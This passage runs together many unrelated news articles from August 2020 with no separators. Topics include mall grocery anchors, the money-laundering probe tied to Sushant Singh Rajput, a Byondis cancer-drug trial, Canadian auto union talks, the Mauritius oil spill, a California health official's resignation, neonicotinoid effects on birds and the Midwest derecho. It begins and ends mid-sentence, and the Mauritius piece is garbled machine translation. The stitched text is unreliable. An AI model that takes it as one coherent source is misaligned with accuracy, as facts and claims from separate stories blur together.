the date of its submission. "The body should preferably be headed by a retired judge of the Supreme Court/High Court with representatives from Ministry of Home Affairs, Government of India, Government of Assam and All Assam Students' Union. The body should meet at least once every three months to monitor the progress," it added. As consumer shopping habits change, America's shopping malls have anointed many saviors: food halls, movie theaters, gyms. Grocery stores could be next on the list. Simon Property Group, the largest mall owner in the U.S., hinted at the idea on an earnings call Monday evening. The comments came on the heels of a report that said Amazon was in talks with Simon to open warehouses at some of its shuttered Sears and J.C. Penney locations. CEO David Simon did not comment on the report Monday. Amazon also previously declined to comment. One analyst thinks that instead of opening logistics hubs at Simon malls, Amazon might be looking to open more of its own grocery stores there which could end up working out better for both parties. "We understand that Amazon is reportedly looking for grocery deals in the Boston market, and grocery offerings at A-rated malls, similar to Europe and Asia, would provide essential retail use and boost shopper traffic, in our opinion," Compass Point real estate analyst Floris van Dijkum said in a note to clients. It is much more common overseas than in the U.S. for malls to have grocery stores as anchors, he said. One huge hurdle with opening an industrial space, such as an Amazon logistics hub, within a shopping mall is that rezoning that would be required. But, van Dijkum said, a grocery store is considered a retail use and so it could be a "much easier" fill for an old department store. A grocery store in a mall could also draw more customers in and benefit the surrounding retailers and restaurants more than a warehouse, he said. Amazon, which owns Whole Foods Market and cashierless Amazon Go convenience stores, is set to open the first store of a new grocery business this year and expand the concept from there. When asked specifically about opening grocery stores at Simon Property malls, CEO Simon said: "Yes, I am hopeful that we can certainly do more business with that category." The executive also called out the fact that more retailers are using their stores as mini-distribution centers as more sales shift online a trend that has only been accelerated during the coronavirus pandemic. "The important thing going on that we're seeing is that more and more retailers are distributing their e-commerce orders from their stores. ... That's a good trend long-term for us." Simon Property shares were up nearly 7% Tuesday morning, having fallen about 53% this year. The company's market cap is $21.3 billion. The mall operator is setting itself apart from its competitors by trying to innovate in the space and expects the turmoil in the industry will ultimately make it stronger. U.S. retailers have already announced 6,630 permanent store closures this year, according to a tracking by Coresight Research. More than 40 retailers have filed for bankruptcy in 2020, and this could grow further, with the pandemic pushing many that were already teetering on the brink over the edge. "Do we have too many malls? Sure," CEO Simon said about the state of the industry. "But ... the malls that ultimately survive will benefit from that contraction." The shakeup is leaving landlords such as Simon searching for new tenants to move into their malls and draw shoppers in. The challenge is, however, not many retail businesses are still growing, which is why new types of tenants are being discussed. "There's all sorts of ideas floating around about what the mall can do and how it can service the community," he said. The Enforcement Directorate (ED) on Monday questioned actress Rhea Chakraborty, her father Indrajit Chakraborty and brother Showik Chakraborty for close to nine hours in connection with the money laundering probe related to the death of Bollywood actor Sushant Singh Rajput. The ED recorded the statement of Rhea for the second time while her father was questioned for the first time. The ED also recorded the statement of Rhea's brother for the third time on Monday. Besides Rhea's family members, the ED also questioned Sushant's flatmate Siddharth Pithani and Rhea's ex-manager Shruti Modi. According to the probe agency officials, the ED quizzed Rhea about the electronic evidence in connection with the case and is also investigating the phone records of conversations between Rhea, her father and her brother. The official also said that her father was questioned about the properties bought and the investments made in Mumbai in 2011. On earlier occasions, Rhea remained evasive during the questioning and claimed to be innocent. The ED again questioned the actress and her family members regarding one of Sushant's companies in which she was a partner. Rhea had earlier told the financial probe agency that Rs one lakh was the paid-up capital, which was shared by the three of them (Sushant Singh Rajput, Rhea and Showik Chakraborty), and apart from that, she didn't spend any more money on the company. The ED is also looking into two properties owned by Rhea and her family members. Regarding the Khar (East) flat that is in her name, Rhea told the ED officials that she took a housing loan of Rs 60 lakh while the rest of the amount, around Rs 25 lakh, was been paid from her own income. The agency has also asked for the income tax returns of the last five years from the Chakraborty family. The ED officials also said that they were not happy with the response of the actor and her family members and they will again call them for questioning. The ED had on July 31 registered a case on the basis of a Bihar Police FIR on the complaint of Sushant's father K.K. Singh, who alleged that Rs 15 crore was withdrawn or transferred from his son's Kotak Mahindra Bank account. The ED had registered a case under the Prevention of Money Laundering Act (PMLA) against Rhea and her family members on the basis of Singh's complaint submitted at the Rajiv Nagar police station in Patna. Sushant and Rhea were said to be in a live-in relationship before the actor's death on June 14. Sushant's father has accused Rhea of taking money from his son and also threatening to disclose his medical reports to the media. Sushant's family had also accused her of keeping him away from them. The case was transferred to the CBI from the state police on August 7. A team of CBI on Monday also recorded the statement of Sushant's sister Rani Singh and father K.K. Singh at different locations. According to sources, the family members of Sushant claimed that the death of the late actor was a case of murder, and not suicide. However, the CBI official remained tightlipped about the development. Earlier in the day, Rhea had moved a fresh plea in the Supreme Court, complaining that the media was unfairly holding a trial and pronouncing her guilty. She also urged the top court to ensure that she is not made a scapegoat of political agenda in the wake of the Bihar elections scheduled later this year. The plea also said that she had no objection if the court referred the matter to the CBI and even if the CBI probes the matter, the jurisdiction will still be with the courts in Mumbai, and not in Patna. Princes Charles has made a 'significant' donation to a new farming charity following the Covid-19 pandemic and its impact on farmers. In a video message to tenants on his Duchy of Cornwall estate, the Prince of Wales said he had been left 'demoralised' after seeing the effects of the virus on food producers. This coronavirus has perhaps reminded us that society works because people do things together for the common good, whether that is key workers keeping us healthy, farmers producing our food or the supply chain meeting our needs. We all know that food is not made by supermarkets," he said. New entrant farmer Sam Stables, who farms near Hereford at Kingsthorne, was singled out in the video. The Duchy of Cornwall tenant farmer created the charity Were Farming Minds which aims to help tackle isolation and depression in the countryside. In the video, Princes Charles praised Mr Stables for taking on his friend's flock of sheep after he was struck down with the coronavirus. Princes Charles said: At a farming level, one of our energetic and selfless new entry farmer tenants in Herefordshire, Sam Stables, not only took on an entire flock of sheep from Yorkshire and lambed them for a friend stricken by the virus, but also started a charity to help with mental health issues amongst the farming community. As you can imagine, I am extremely proud of him. During the lockdown period of the Covid-19 crisis, Prince Charles said the UK owed farmers 'an enormous debt of gratitude' for producing food. The Prince of Wales praised farmers, growers and food producers in an interview with Country Life magazine in April. He talked about a new found appreciation for the British farming industry which had developed because of the pandemic. Next Generation ADC Uses Proprietary Technologies Aimed at Enhancing Cancer Therapy Efficacy and Safety NIJMEGEN, The Netherlands, August 11, 2020 / B3C newswire / -- Byondis B.V. (formerly Synthon Biopharmaceuticals B.V.) today announced that the first cancer patients have started treatment with its investigational antibody-drug conjugate (ADC) SYD1875. The First-in-Human Dose-Escalation and Expansion Study with the Antibody-Drug Conjugate SYD1875 will evaluate the safety, pharmacokinetics and preliminary efficacy of SYD1875 in patients with 5T4-expressing, locally advanced or metastatic solid tumors. While 5T4 plays an important role in the development of cancer, there are currently no drugs that target this specific tumor antigen. Patients are currently being enrolled in leading European oncology centers: Institut Jules Bordet in Brussels, Belgium; Institut Bergonie in Bordeaux, France; and Centre Oscar Lambret in Lille, France. It is exciting and gratifying to know that SYD1875 has progressed to the clinical study phase, giving us the opportunity to explore the potential of another promising antibody-drug conjugate, said Byondis CEO Marco Timmers, Ph.D. Our ADC technologies aim to outsmart relentless cancers and improve patient outcomes by offering better tumor-killing properties with lower side effects. SYD1875 is the second Byondis ADC to progress to clinical studies. The companys anti-HER2 ADC [vic-]trastuzumab duocarmazine (SYD985) is its most advanced ADC, targeting a range of HER2-expressing cancers such as metastatic breast cancer and endometrial (uterine) cancer. More on the SYD1875.001 Study The SYD1875.001 study will recruit roughly 90 patients, aged 18 and over, with histologically-confirmed, locally advanced or metastatic cancers that have progressed on standard therapy or for which no standard therapy exists. The study will be conducted in two parts: Dose Escalation and Dose Expansion. Part 1, Dose Escalation, will enroll patients with any tumor type to determine the Maximum Tolerated Dose (MTD) and Recommended Dose for Expansion (RDE). Part 2, Dose Expansion, will enroll groups of patients with one of three types of cancers. These patients will receive the RDE determined in Part 1 to evaluate the efficacy and safety of SYD1875 in these cohorts. All patients in both parts of the study will receive SYD1875 infusions every three weeks until cancer progression or unacceptable toxicity. About SYD1875, a Next Generation Antibody-Drug Conjugate SYD1875 uses Byondis unique, proprietary linker-drug (LD) and site-specific conjugation technologies. Although marketed ADCs have improved therapeutic indices compared to classical non-targeted chemotherapeutic agents, there is still room for improvement. SYD1875 is a next generation ADC, comprised of a humanized IgG1 mAb (monoclonal antibody), and a cleavable linker-drug called valine-citrulline-seco-DUocarmycin-hydroxyBenzamide-Azaindole (vc-seco-DUBA), targeting the 5T4 oncofetal antigen employing the site-specific conjugation of HC-41C. The antibody part of SYD1875 binds to 5T4 on the surface of the cancer cell and the ADC is internalized by the cell. After proteolytic cleavage of the linker, the inactive cytotoxin is activated and DNA damage is induced, resulting in tumor cell death. SYD1875 can be considered a form of targeted chemotherapy. For the manufacturing of SYD1875, this ADC is relying on a single-step, selective reduction of the engineered cysteines, instead of a two-step reduction/oxidation protocol that is commonly used for these types of ADCs and that can lead to undesired side-products. Byondis Unique, Proprietary Linker-Drug and Site-Specific Conjugation Technologies In traditional chemotherapy, a cytotoxin enters the bloodstream and moves through the body to kill rapidly dividing cells that are common in tumors. The problem is that it also attacks rapidly dividing cells in normal tissue, potentially resulting in severe side effects. Monoclonal antibodies are created to allow improved specificity by targeting receptors expressed on tumor cell membranes. To improve the cell-killing capability of antibodies, cytotoxic drugs can be attached to the antibodies using a linker molecule, forming antibody-drug conjugates or ADCs. While earlier generation ADCs improved targeting and cell killing, they can be unstable in the bloodstream, and that can lead to an early release of the cytotoxic payload, impacting healthy tissue and narrowing the therapeutic window. Byondis next generation ADCs carry an intricate, inactivated cytotoxic drug that rapidly self-destructs in case it is prematurely released, limiting damage to healthy tissue and improving the therapeutic window. Byondis differentiating linker-drug, vc-seco-DUBA, owes its potent antitumor activity to a synthetic duocarmycin-based cytotoxin. Duocarmycins, first isolated from Streptomyces bacteria in the 1970s, bind to the minor groove of DNA and disrupt the nucleic acid architecture, which eventually leads to tumor cell death. The unique design of the selectively cleavable linker connecting the antibody to the duocarmycin drug leads to high stability in circulation and induces efficient release of the cytotoxin in the tumor. Finally, the site-specific conjugation of the linker-drug results in enhanced in vivo antitumor activity, as was demonstrated in preclinical models. About Byondis (formerly Synthon Biopharmaceuticals) Driven to improve patients lives, Byondis is an independent biopharmaceutical research and development company creating innovative precision medicines targeting intractable cancers and autoimmune diseases. The company is developing new biological entities (NBEs) and new chemical entities (NCEs) and differentiates itself from other biopharmaceutical companies by its proprietary molecular concepts, such as its linker-drug (LD) and site-specific conjugation technologies to generate antibody-drug conjugates (ADCs). Byondis broad development portfolio comprises preclinical and early- and late-stage clinical programs, including the anti-HER2 ADC [vic-]trastuzumab duocarmazine (SYD985, Phase III). The company has a dedicated team of more than 350 staff including highly educated scientists and skilled technicians working in its state-of-the-art R&D and GMP manufacturing facilities in Nijmegen, the Netherlands. Byondis collaborates with global biotechnology and pharmaceutical companies and national and international academic research institutions. The SYD1875 study is registered in ClinicalTrials.gov with identifier NCT04202705. Contacts Byondis B.V. Corina Ramers-Verhoeven Vice President, Corporate Communications P: +31 (0)24 679 44 44 M: +31 (0)6 10 95 47 70 This email address is being protected from spambots. You need JavaScript enabled to view it. Public Eyes Healthcare Communications Yvonne Massar M: +31 (0) 6 55 13 48 60 This email address is being protected from spambots. You need JavaScript enabled to view it. Keywords: Humans; Antibodies, Monoclonal, Humanized; Immunoconjugates; oncofetal antigens; Antigens, Neoplasm; Neoplasms Published by B3C newswire Derechos occur mainly across the central and eastern U.S., where many locations are affected one to two times per year on average. They can produce significant damage to structures and sometimes cause blowdowns of millions of trees. Pennsylvania and New Jersey received the brunt of a derecho on June 3, 2020, that killed four people and left nearly a million without power across the mid-Atlantic region. TORONTO - The autoworkers union is set to begin formal negotiations on Wednesday with Fiat Chrysler Automobiles, Ford Motor Company and General Motors, in what one observer calls the fight of their life. Unifor, which represents about 20,000 Canadian workers between the three companies, said the recent COVID-19 pandemic has stoked uncertainty about future job security as economies struggle. This round of talks is especially unique and challenging, said the union, on its website outlining the auto talks. This years contract talks will pivot on good jobs and future investment. Ford also said that global economic uncertainties have stressed the importance of maintaining jobs in Canada. Well be asking our employees to work with us to help shape this new reality together, said spokeswoman Rose Pao in a statement. The negotiations will focus on collective agreements that expire Sept. 21. The union said that it will identify on Sept. 8 its strike target the manufacturer it will target first to set a pattern for the other agreements. Unifor national president Jerry Dias says he will be on the lookout for any attempts by the manufacturers to use COVID-19 as an excuse. He says other than improving wage increases, he expects major battlegrounds will be a new product investment from Ford in Oakville, putting a stop to outsourcing Ford parts depots, and restoring the third shift in Fiat Chryslers Windsor and Brampton facilities. Dias is also eyeing the 2023 expiration of major programs in GMs powertrain operation in St. Catharines. While recent trade policy changes, when enacted, will improve the state of play, Dias says the government needs to do more to attract electric vehicle investments to Canada. This is an industry that pays a lot of taxes, says Dias. And its a lot of jobs. So everybodys going to have to start to row together in the right direction. Ian Lee, associate professor of management at Sprott School of Business at Carleton University, says the economic pressure on the auto industry has created an uphill battle for unions. GM, Ford, FCA, I think theyre increasingly in the drivers seat, says Lee. Unifor, in these upcoming negotiations, theyre in the fight of their life. I think that there is not going to be so much on wages. I think its going to be, Can we save the plants that are left? The new round of negotiations come as the industry is still dealing with fallout from the novel coronavirus. For example, FCA plants in Canada were down from March 18 to May 4, and GM plants were closed between March 16 and May 25, after which they gradually reopened. Like previous recessions, auto sales also sputtered during the early months of the COVID-19 outbreak. DesRosiers Automotive Consultants Inc. said that auto sales plunged 48 per cent year-over-year in March, but by July, sales had fallen just 4.9 per cent, the smallest decrease since the pandemic began. Nonetheless, DesRosiers predicted that annual sales rates will remain flat for one to two years. The new negotiations will be set against the background of the new United States-Mexico-Canada Agreement, which went into force July 1. The deal included a provision that a significant percentage of the value of a car be produced by workers earning the equivalent of at least US$16 per hour, something the Canadian government said could improve Canadian automotive manufacturings competitiveness compared to that of Mexico. While some trade policy changes, when enacted, will improve the state of play, Dias says the government needs to do more to attract electric vehicle investments to Canada. This is an industry that pays a lot of taxes, says Dias. And its a lot of jobs. So everybodys going to have to start to row together in the right direction. Between 1999 and 2017, Canada dropped to the No. 10 auto manufacturing country in the world, down from No. 4 in 1999, Unifor previously estimated. Mexico is building smaller cars, in a threat to Canada. But Ive argued that the biggest threat to Canada is not Mexico. Its the southern United States, says Lee. In the American South, its not only wages that are lower ... taxes are lower, state taxes are lower, land costs are lower, cost of living is lower. In 2016, GM was targeted by the union, which cited the companys financial surplus and asked for new allocations for vehicles and powertrain and better incentives for new hires and retirees. The agreements, which can be hundreds of pages in length, ended up converting 700 jobs at GM and securing a $713-million investment and 500 jobs from Ford, among other issues. Last year marked the culmination of downsizing at a GM plant in Oshawa, Ont. The plant east of Toronto now has about 300 workers, down from about 2,600. Theres going to be a great temptation for the three companies: When they close down these particular cars as a segment, they will not replace them. If you dont replace them, you close up a plant, says Lee. This report by the Canadian Press was first published Aug. 10, 2020. The 2020 English Winter Fair has been cancelled after the organising committee agreed that Covid-19 restrictions would negatively impact the experience of exhibitors and show-goers. The event is a firm fixture in the agricultural calendar with farmers and food producers coming from across the UK to take part in two days of competitions. Part of the shows attraction is its diversity with food, farming, shopping and socialising all featuring. Thousands of people were expected to pour through the gates of the Staffordshire Showground in November. But with uncertainty still hanging over the feasibility of large public gatherings, and farmers needing time to prepare, the Staffordshire and Birmingham Agricultural Society has taken the decision to cancel for 2020. Richard Williams, the Societys chief executive, said: It was a hard decision to make but I believe that, given the circumstances, it is the right one. Organising an event of this scale takes a huge amount of resources and effort from both our team and those who take part, so it is not a decision weve taken lightly. However, the safety of all involved is a clear priority as is the experience of anyone taking part or attending and Covid-19 restrictions will be with us for months yet. While it is disappointing to have to cancel, the show will return bigger and better in 2021. The 2021 English Winter Fair will take place on 20 and 21 November. The front of Mauritius damaged Oil cargo ship threatens to break in two parts. The crack in the hull on a coral reef on a grounded cargo ship "Wakashio" have expanded, informed the Japanese operator group Mitsui OSK Lines on Tuesday. Since the ship could not travel alone, be it a tractor, to not abort. From the already leaked 1180 tonnes of fuel had been around 460 tons from the sea and on the beach collected. Up to the early hours of Tuesday (local time) had been pumped out, also, around 1020 tons from the freighter. The ship had about 4,000 tons of fuel aboard. It is about two kilometers from the mainland, is located in a lagoon close to several nature reserves. last Thursday there was a crack in one of the Tanks of the vessel, whereupon the Oil was spilt. The island nation in the Indian ocean, called for an environmental emergency. In order to prevent further Leaching, the authorities and a team to pump the remaining approximately 1800 tonnes out of the ship, informed the Japanese company. "The worst ecological Disaster" On the question of why the Oil had not been pumped out before the Occurrence of the crack, said company spokesman Atsushi Hara of the dpa on Tuesday, it had not been the highest priority, to get the run aground ship afloat. However, that was not due to adverse weather possible, so the owner, Nagashiki Shipping. With the Oil already huge damage was caused, said the Advisor to the government of Mauritius, Ken Arian, on Monday. "This is the worst ecological Disaster that has seen Mauritius ever." Environmentalists fear that the oil Spill can have a devastating impact on the marine ecology. Updated Date: 11 August 2020, 13:19 California's top public health official Dr. Sonia Angell resigned Sunday, as read in a copy of her resignation obtained by CBS News. The health official did not provide a reason for her resignation, but it came after California saw a major error in test result reporting. The errors have been fixed but the state is now seeing a lot of back log due to the glitch. When asked during a news conference about the sudden resignation, California Governor Gavin Newsom declined to answer if he told the health official to quit, NBC reported. He dodged questions on it but stressed the importance of transparency and accountability, reported ABC News. He also thanked Dr. Angell for her service to the state and for her work in helping steer the state's public health system amid the global pandemic. Angell has worked as the director of the state Department of Public Health, often appearing next to Newsom during news conferences about the coronavirus. She was hired less than a year ago, as stated in her letter. Data Glitch Fixed Two days before Dr. Angell handed in her resignation, California's health officials announced that they had fixed technical issues in their system. According to California Health and Human Services Secretary, Dr. Mark Ghaly said the glitch caused about 300,000 records backlogged. He did add, though, that not all of the test results may be linked to the coronavirus, and some may be duplicates, CBS San Francisco reported. The backlog caused what appeared to be a downward trend in virus cases in the state. California, being the most populated stated in the country, now has more cases than New York since last month. It currently has the highest number of reported cases in the United States. Ghaly told the media that the data glitch began when a computer server suffered from an outage on July 25. The state also failed to renew a certificate for a commercial lab that tests for coronavirus. In the meantime, Newsom ordered a full investigation on the glitch. No Effects to Downward Trend Newsom said the data doesn't appear to change the downward trend he announced last week. As of Monday, the state's hospitalizations went down 19% over two weeks, and ICU admissions also went down 13%. Following the glitch, the state will work out a new positivity rate, which is the key indicator of how far the virus has spread. This piece of data will be used to find out if schools should reopen. Health Officials Resigning Amid Pandemic Dr. Angell's resignation comes after many other public health officials have also stepped away from the office or have been fired. According to a review by Associated Press and Kaiser Health News, 49 health officials in 23 states have been fired or have quit since April. The review linked the many resignations to conflicts over mask orders and shutdowns. Other health officials chose to step away from the office due to family reasons. Some officials said they quit because they were overworked or underpaid. Want to read more? Check these! New COVID-19 Testing Site Soon to Rise Near US-Mexico Border Dr. Anthony Fauci Says Future COVID-19 Vaccine Will Not Give 100% Immunity Los Angeles COVID-19 Hospitalizations Continue to Decline MIAMI and OKLAHOMA CITY, Aug. 11, 2020 /PRNewswire/ -- ClassWallet has been awarded a contract from the office of Oklahoma Governor Kevin Stitt to implement its innovative fintech platform to help distribute $18 million in federal funds to support the private school tuition and educational resource needs of low-income families during the COVID-19 crisis. ClassWallet will support in the administration of two specific education initiatives designed to lessen the financial strain on families with the approach of the 2020-2021 school year. This includes Stay in School Funds which enables them to pay for tuition at private schools at which their children are already attending, and Bridge the Gap Digital Wallet which provides for the purchase of curriculum content, technology, materials and other resources to support both public and private school students' in-class or remote-learning needs. "We selected ClassWallet's financial technology platform to assist us in the distribution of these federal funds to student families because it offered a secure turnkey, end-to-end solution that can be easily implemented while saving countless hours of administrative work and associated costs," said Michael Rogers, Oklahoma Secretary of Education and State. "This kind of efficiency and security is always appreciated, even more so during a disruptive period caused by COVID-19." "We worked closely with Oklahoma Governor Kevin Stitt's office to help create an efficient and secure solution for distributing these funds to the families who require immediate financial support during the global health crisis to mitigate the interruption of students' vital educational needs," said Jamie Rosenberg, ClassWallet co-founder and CEO. "We're already working with state agencies in Arizona and North Carolina for similar grants, and local school districts in 20 states offering variations of our spending management platform. We are committed to helping Oklahoma to professionally manage these critical funding programs with the utmost efficiency and accountability." Getting Governor Stitt's Emergency Education Relief (GEER) Fund Money to Families in Need Funds for the Governor's Emergency Education Relief (GEER) Fund were provided under the federal government's Coronavirus Aid, Relief, and Economic Security (CARES) Act. The $39.9m "emergency block grant" enables governors to decide how best to meet the needs of students and schools (including charter schools and non-public institutions). Oklahoma's Stay in School Funds will distribute up to $10 million, in increments of up to $6,500 per qualifying family, to help pay for tuition for private schools their children are already attending. The Bridge the Gap Digital Wallet will make up to $8 million available to low-income students at both public and private schools, in increments of $1,500 per qualifying family, that can be used toward the purchase of curriculum content, supplemental learning resources and technology. In addition to Oklahoma, ClassWallet's financial technology platform is currently in use in more than 135,000 classrooms spread across 3,200 schools in a total of 20 states. For more information about ClassWallet, contact [email protected]; 877-969-5536. About ClassWallet Founded in 2014 and headquartered in Miami, ClassWallet (www.classwallet.com) is a financial technology company providing a spending management platform for teachers, employees and parents who make day-to-day purchases but typically are not provided with purchase cards. The company's two products for teachers and parents focus on ease and flexibility for the end-user, and unparalleled control and fraud mitigation for administrators. CONTACTS: Doug Wright / Henry Feintuch Feintuch Communications 201-952-6033 / 914-548-6924 [email protected] SOURCE ClassWallet Related Links http://www.classwallet.com Credit: CC0 Public Domain A trio of researchers, two with the University of Illinois, the other Auburn University, has found that the use of neonicotinoid pesticides on farm crops leads to reductions in some bird populations. In their paper published in the journal Nature Sustainability, Yijia Li, Ruiqing Miao, and Madhu Khanna describe their study of neonicotinoid use and its effects on local bird populations. The work involved obtaining U.S. county-level data on over 3,000 birds from the North American Breeding Bird Survey. They focused specifically on the years 2008 to 2014, a period during which neonicotinoid use was increasing in the U.S. as other pesticides were banned. The researchers also obtained county-level data describing the use of neonicotinoids from a variety of sources. By comparing bird populations to neonicotinoid use, the researchers were able to see its impact. To put the impact in perspective, the researchers divided the birds they studied into four basic categories: grassland birds, non-grassland birds, insectivorous birds, and non-insectivorous birds. They found that increasing county-level use of neonicotinoids by an average of 100 kg resulted in a 2.2% decline in grassland bird populations and a 1.6% decline in insectivorous bird numbers. But they note that the impact of pesticides on non-targeted species has been found to be cumulative. When some birds die, they are no longer there to reproduce, reducing the population of the next generationand on and on. Factoring in this cumulative effect, the researchers calculated that adding an average of 100 kg of neonicotinoid use per county led to grassland bird populations dropping by 9.7% by 2014. The researchers suggest it is likely that grassland birds suffer more from neonicotinoid use than those in other areas because they are more likely to consume seeds that have been sprayed with the pesticideand they are more likely to consume insects that have been sprayed, as well. The researchers also found that the impact of neonicotinoids is more profound in farm regions such as the Northern Great Plains, Southern California and the Midwest. Explore further Controversial insecticides shown to threaten survival of wild birds More information: Yijia Li et al. Neonicotinoids and decline in bird biodiversity in the United States, Nature Sustainability (2020). Journal information: Nature Sustainability Yijia Li et al. Neonicotinoids and decline in bird biodiversity in the United States,(2020). DOI: 10.1038/s41893-020-0582-x 2020 Science X Network Maria was elected Member of the National Assembly of Venezuela in September 2010, having obtained the highest number of votes of any candidate in the race. ( Watch Here Unfortunately, a group of criminals have robbed and destroyed Venezuela in the last few decades. Therefore, the prevailing political crisis is deepening day by day; people are struggling to get rid of this highly sophisticated mafia rule, Maria Corina Machado one of the leading opposition figures in Venezuela said. In this episode of The New Normal, Nilantha Ilangamuwa talked to Maria Corina Machado to have insights about the situation in the oil-rich nation in Latin America. Maria is a founding member of Vente Venezuela. She was elected Member of the National Assembly of Venezuela in September 2010, having obtained the highest number of votes of any candidate in the race. However, for her role in civil society, she was accused by the Hugo Chavez government of conspiracy and treason and was forbidden from leaving the country without judicial authorization for several years. On March 2014, she spoke before the Permanent Council of the Organization of American States, after the Republic of Panama, yielded its speaking rights so that she could denounce Human Rights violations in Venezuela. For this reason, according to her, she was arbitrarily removed from her elected post by the President of the National Assembly. She says it is a violation of due process and international customary law. She faces accusations of treason, terrorism and homicide, as well as repeated threats of incarceration. But her fight for democracy is continuing. Among the measures introduced due to the coronavirus epidemic, reduced working hours and the home office proved to be effective for many companies, so they may remain in the future, according to a survey conducted by K&H Bank in June, writes novekedes.hu. The survey was conducted by the bank among its own micro-SME customers, with the aim of assessing the economic consequences of the coronavirus epidemic in the SME sector. According to their April survey, half of Hungarian SMEs were moderately affected and 44% were heavily affected by the coronavirus, while operating conditions remained unchanged for a negligible proportion. The latest research, repeated in June, found that 44% of domestic small and medium-sized enterprises are already optimistic about the future and expect to close the year with a profit. And more than a third of respondents are not yet sure how their earnings will develop this year, the economic website adds. Advertisement By West Kentucky Star Staff Aug. 10, 2020 | MURRAY By West Kentucky Star Staff Aug. 10, 2020 | 08:27 PM | MURRAY A Florida woman was arrested after an investigation into thefts from vehicles in Murray. On July 26, officers with the Murray Police Department were called to Central Park after a report of a vehicle break-in. On July 27 they began an investigation into fraudulent activity on someone's bank account. Through their investigation, officers learned that the individual had also been a victim of a vehicle break-in while in another city. The investigation soon evolved into a multi-agency investigation involving victims in cities across Kentucky and Tennessee. On August 4, Murray officers responded to another call involving fraudulent activity on a bank account. This led detectives to a suspect, 44-year-old Amanda Lewis of Fort Lauderdale, Florida, but she fled the area. A short time later she was located by the Carroll County Sheriff's Office in Tennessee and was arrested. She is currently awaiting extradition to Kentucky. Lewis is charged with second degree forgery, second degree criminal possession of a forged instrument, identity theft, first degree fleeing or evading, theft of a registration plate, speeding over 26 mph, driving recklessly, and failure to signal. Anyone with information regarding this case is asked to contact the Murray Calloway County Crimestoppers at 270-753-9500. An intense thunderstorm complex known as a derecho developed over the central United States on Monday, causing significant damage and widespread power outages as it blitzed eastward covering a nearly 800-mile stretch of the U.S. in 14 hours. As officials in multiple states assessed widespread damage on Tuesday caused by wind gusts that exceeded 100 mph in some places, at least one fatality was blamed on the storm. Thunderstorms ignited in southeastern South Dakota and eastern Nebraska on Monday morning, but gained strength and evolved into a derecho across central Iowa by midday. The worst of the storms focused on a zone from around Des Moines through Davenport, Iowa. Large trees, branches, debris and power lines littered streets and yards all across Iowa and northern Illinois with many residents finding themselves in the dark in the wake of the storms. The cluster of storms, which erupted in South Dakota, traveled approximately 770 miles in about 14 hours before it weakened in Ohio, according to the National Weather Service's (NWS) Storm Prediction Center (SPC). Over 1 million were without power across Iowa and Illinois on Monday evening, according to PowerOutage.us. Entire communities were left in the dark in areas hit hardest by the complex of storms, such as the town of Ames, Iowa. As of Tuesday, nearly 1 million were still without power across Iowa, Illinois and Indiana. Officials in Fort Wayne, Indiana, said a woman whose mobile home was obliterated by the storm died at the hospital after first responders rushed her there on Monday night, The Associated Press reported. According to the AP, firefighters found the woman, Isabel E. Atencio, trapped under debris from her destroyed home. She was unresponsive and appeared to be protecting a 5-year-old boy who is believed to be her grandson. Atencio, 73, was taken to the hospital where she was pronounced dead from blunt-force injuries, according to The Greater Fort Wayne Business Weekly. The child suffered minor injuries. Story continues The derecho raced eastward across the Midwest, causing destruction along its path on Monday, Aug. 10, 2020. (NWS Chicago) Travel was disrupted on highways across the region, not only because of debris from the storms but also due to tractor tailors that were flipped on their sides due to the strong winds. Major damage was reported in Cedar Rapids, Iowa, the second-most populated city in the state. A wind gust of 100 mph was clocked in Hiawatha, which is just a few miles north of Cedar Rapids. The hurricane-force winds ripped the roofs off of some structures, adding to the debris strewn across town. The wind gusts were so strong and widespread across Iowa that cornfields were flattened. The damage was so far-reaching that it was able to be seen on satellite on Tuesday. Satellite images of Iowa on July 28 and Aug. 11. The fields damaged by the derecho on Aug. 10 can be seen north of Des Moines, Iowa. (NASA Worldview) Marshalltown, Iowa, was one of the hardest-hit towns with Mayor Joel Greer declaring a civil emergency after the derecho passed, The Associated Press said. Several injuries have been reported in the area, but there have been no fatalities. After racing across Iowa, the storms swept across northern Illinois and southern Wisconsin, arriving in Chicago by 4 p.m. CDT Monday. Several tornado warnings were issued in the Chicago area, and videos were posted of a brief tornado near Rogers Park. The NWS later confirmed the tornado eventually moved over Lake Michigan, making it a waterspout. Ahead of its arrival, the National Weather Service (NWS) warned residents around the Windy City that it was "an extremely dangerous situation with tornado-like wind speeds expected." A peak wind gust of 112 mph was recorded in Midway, Iowa, which would qualify as an EF2 tornado or a Category 3 hurricane. MORNING UPDATE: @NOAA's #GOES16 tracked the bubbling clouds and #lightning from the powerful #derecho that swept across the Midwest yesterday. @NWSSPC received more than 700 reports of wind damage from the storm, with gusts of more than 80 mph. https://t.co/38bdR4G9NM. pic.twitter.com/M6L1b8sCom NOAA Satellites - Public Affairs (@NOAASatellitePA) August 11, 2020 A 72-mph wind gust was observed at Chicago's Midway Airport and a 62-mph gust was reported at Chicago's O'Hare International Airport as the line of storms moved through. CLICK HERE FOR THE FREE ACCUWEATHER APP Derechos are sometimes called "inland hurricanes" due to the extensive damage that they can cause and how they appear on radar images. By definition, a derecho is a long-lived complex of intense thunderstorms that travels at least 250 miles. Additionally, wind gusts along its path must exceed 58 mph with at least several reports of gusts over 75 mph, according to the Storm Prediction Center (SPC). The derecho swept across a 770-mile corridor of the Midwest in only 14 hours on Monday, Aug. 10, 2020. (AccuWeather) In some cases, derechos can be more damaging than tornadoes as the winds from derechos can last for an extended period of time. In 2012, a particularly strong derecho traveled 800 miles from the Midwest to the coast of the mid-Atlantic, causing $3 billion in damage and leaving some in the dark for days during the peak of summer heat. Keep checking back on AccuWeather.com and stay tuned to the AccuWeather Network on DirecTV, Frontier and Verizon Fios. New Delhi: The final forensic reports of actor Sushant Singh Rajput have ruled out any foul play in his death case. Earlier, the viscera report had also stated the same. Reports of toxicology, litigation mark, nail sampling, stomach wash were received today. These reports, along with the forensic reports, have been submitted by the Mumbai Police to the Supreme Court. The stomach wash report states that Sushant was neither given any poisonous substance nor did he take anything poisonous on his own. The nail sampling report states that there was no struggle at the time of death. The ligature report revealed that there was no injury or scuffle. The Mumbai Police on July 27 had received the viscera report of the late star. The report had ruled out any foul play in his death case. The post-mortem report had earlier already confirmed that Sushant died by asphyxia due to hanging, adding that no foul play was found in the case. On July 13, Mumbai Police officials had met the forensic team members for inquiry, after which they moved to the final stage of the investigation. Five members of the forensic team met the cops individually. The police did not find anything sensational in the case after meeting the forensic team. Sushant was found hanging in his Mumbai apartment on June 14. He allegedly died by suicide. CBI is currently investigating his death case. The trials of a former 